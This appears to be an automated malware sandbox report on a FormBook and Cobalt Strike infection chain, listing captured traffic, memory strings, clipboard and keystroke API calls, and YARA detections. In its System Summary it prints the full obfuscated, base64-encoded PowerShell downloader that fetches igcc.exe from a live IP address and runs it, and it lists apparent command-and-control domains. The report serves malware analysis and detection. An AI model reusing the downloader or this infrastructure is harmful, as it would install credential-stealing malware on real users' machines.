Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx-reuseport/1.21.1Date: Tue, 15 Apr 2025 15:23:05 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 279Connection: closeVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 35 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 6b 66 69 78 2d 6d 73 6b 2e 73 74 6f 72 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.55 (Unix) Server at www.akfix-msk.store Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:23:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Tue, 15 Apr 2025 15:23:27 GMTVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A%2B6PBzXoARzKEfbf5RyIzOsVHVw5ZCnaxmp6eO9IWPU%2Fw%2B0%2BbJ3q8LX3ImB4akK9guZVopsg%2BMk1iI8qJvi%2FeTayWVX3AoVqIPmk73AZ%2BoaxfplzSsu3nVP21X70b3MppflTHsBoHQEbyw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 930c71b4bbe24065-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=121268&min_rtt=121268&rtt_var=60634&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=862&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:23:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Tue, 15 Apr 2025 15:23:29 GMTVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SOP2nc%2BQEMofCDq2tc3QUgJ9fqd6hbAbmEJSO0QTUxJ2sCHd1Y9wK4MDCjNocuc95CBmPJM%2F4m0toJnagTJIKSBJPay8iL%2BC7Ni2ynV669tIqsoreEM2yI50FVPjNjrmnGmOPzhZcAla3w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 930c71c56d8b987e-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=124087&min_rtt=124087&rtt_var=62043&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=882&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:23:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Tue, 15 Apr 2025 15:23:32 GMTVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fb%2BJMdYR3oYtSexev4Wq6SbTfV0tHhKrhVVRmyQKazuubieQopbeokXj%2BhpPvAFWhUvBPGukO3dWlmrqeWZ33wMpgIFatVNkMM%2BQbM61dsqYhHS%2BeQMvh5Tx3iFppaJpWtDrutFkvLgxeQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 930c71d618ad6dda-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=120966&min_rtt=120966&rtt_var=60483&sent=1&recv=8&lost=0&retrans=0&sent_bytes=0&recv_bytes=7139&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:23:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Tue, 15 Apr 2025 15:23:35 GMTVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t5lojvT5sLtUKSn7UIBZuQwf8HQFw7%2BdgD53%2FirSwRUt7WLB2%2ByX92kdo1ydLDk73%2Fe%2F2WSrNS8h9ctd02%2BagyQ7HvvzTqI%2FA9IDh5kKQvTBiNFF%2B87C2vLZyCHzUZT9QtHFnnOPfcuSSA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 930c71e6cb31ac95-MIAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=122596&min_rtt=122596&rtt_var=61298&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=582&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 33 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 93<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>

Source: powershell.exe, 00000003.00000002.1374616824.0000000004991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.245.208.21/233/igcc.e
Source: powershell.exe, 00000003.00000002.1374616824.0000000004991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.245.208.21/233/igcc.exe
Source: powershell.exe, 00000003.00000002.1378744735.0000000006BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.208.21/233/igcc.exe%b
Source: powershell.exe, 00000003.00000002.1378744735.0000000006BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.208.21/233/igcc.exe)e
Source: powershell.exe, 00000003.00000002.1378744735.0000000006BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.208.21/233/igcc.exeSb
Source: powershell.exe, 00000003.00000002.1378744735.0000000006BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000003.00000002.1377381136.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1374616824.00000000046C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1374616824.00000000046C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1374616824.0000000004571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1374616824.00000000046C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000003.00000002.1374616824.00000000046C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: WRNKS5Hlc0y.exe, 0000000F.00000002.3675591492.0000000006A88000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.play-venom-rush.xyz
Source: WRNKS5Hlc0y.exe, 0000000F.00000002.3675591492.0000000006A88000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.play-venom-rush.xyz/pji1/
Source: WRNKS5Hlc0y.exe, 0000000F.00000002.3673593729.0000000004D08000.00000004.80000000.00040000.00000000.sdmp, AtBroker.exe, 00000010.00000002.3666703257.0000000005E68000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.soportemx-findmy.click/ma0g?gp=1&js=1&uuid=1744730452.0012257657&other_args=eyJ1cmkiOiAiL
Source: AtBroker.exe, 00000010.00000002.3666703257.0000000005E68000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www70.soportemx-findmy.click/
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: powershell.exe, 00000003.00000002.1374616824.0000000004571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.1374616824.00000000046C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000003.00000002.1377381136.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1377381136.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1377381136.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: powershell.exe, 00000003.00000002.1374616824.00000000046C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2X
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf(
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srfxL
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: AtBroker.exe, 00000010.00000002.3664527850.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: AtBroker.exe, 00000010.00000003.1838117321.000000000819B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: powershell.exe, 00000003.00000002.1377381136.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: WRNKS5Hlc0y.exe, 0000000F.00000002.3673593729.0000000005998000.00000004.80000000.00040000.00000000.sdmp, AtBroker.exe, 00000010.00000002.3666703257.0000000006AF8000.00000004.10000000.00040000.00000000.sdmp, AtBroker.exe, 00000010.00000002.3668565519.0000000007F10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: AtBroker.exe, 00000010.00000002.3668697637.00000000081BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp
Source: WRNKS5Hlc0y.exe, 0000000F.00000002.3673593729.0000000005E4E000.00000004.80000000.00040000.00000000.sdmp, AtBroker.exe, 00000010.00000002.3666703257.0000000006FAE000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.malayexpess.online/ca0u/?UV90oJV=MvRre

Source: C:\Users\user\AppData\Roaming\igcc.exe

Code function: 12_2_00084164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

12_2_00084164

Source: C:\Users\user\AppData\Roaming\igcc.exe

Code function: 12_2_00084164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

12_2_00084164

Source: C:\Users\user\AppData\Roaming\igcc.exe

Code function: 12_2_00083F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

12_2_00083F66

Source: C:\Users\user\AppData\Roaming\igcc.exe

Code function: 12_2_0007001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

12_2_0007001C

Source: C:\Users\user\AppData\Roaming\igcc.exe

Code function: 12_2_0009CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

12_2_0009CABC

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 13.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3663915117.0000000003080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3664272191.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1614478454.0000000007480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1609453239.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3675591492.0000000006A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3664383512.0000000003370000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1611189571.00000000047A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3666208376.0000000002DE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Detected Cobalt Strike Beacon

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))"			Jump to behavior

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: This is a third-party compiled AutoIt script.	12_2_00013B3A
Source: igcc.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: igcc.exe, 0000000C.00000002.1362921079.00000000000C4000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_9632e2a0-9
Source: igcc.exe, 0000000C.00000002.1362921079.00000000000C4000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_1459977e-9
Source: igcc[1].exe.3.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_988ae612-5
Source: igcc[1].exe.3.dr	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_98335124-7
Source: igcc.exe.3.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1fe0793b-f
Source: igcc.exe.3.dr	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_c651b88d-0

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\igcc.exe			Jump to dropped file
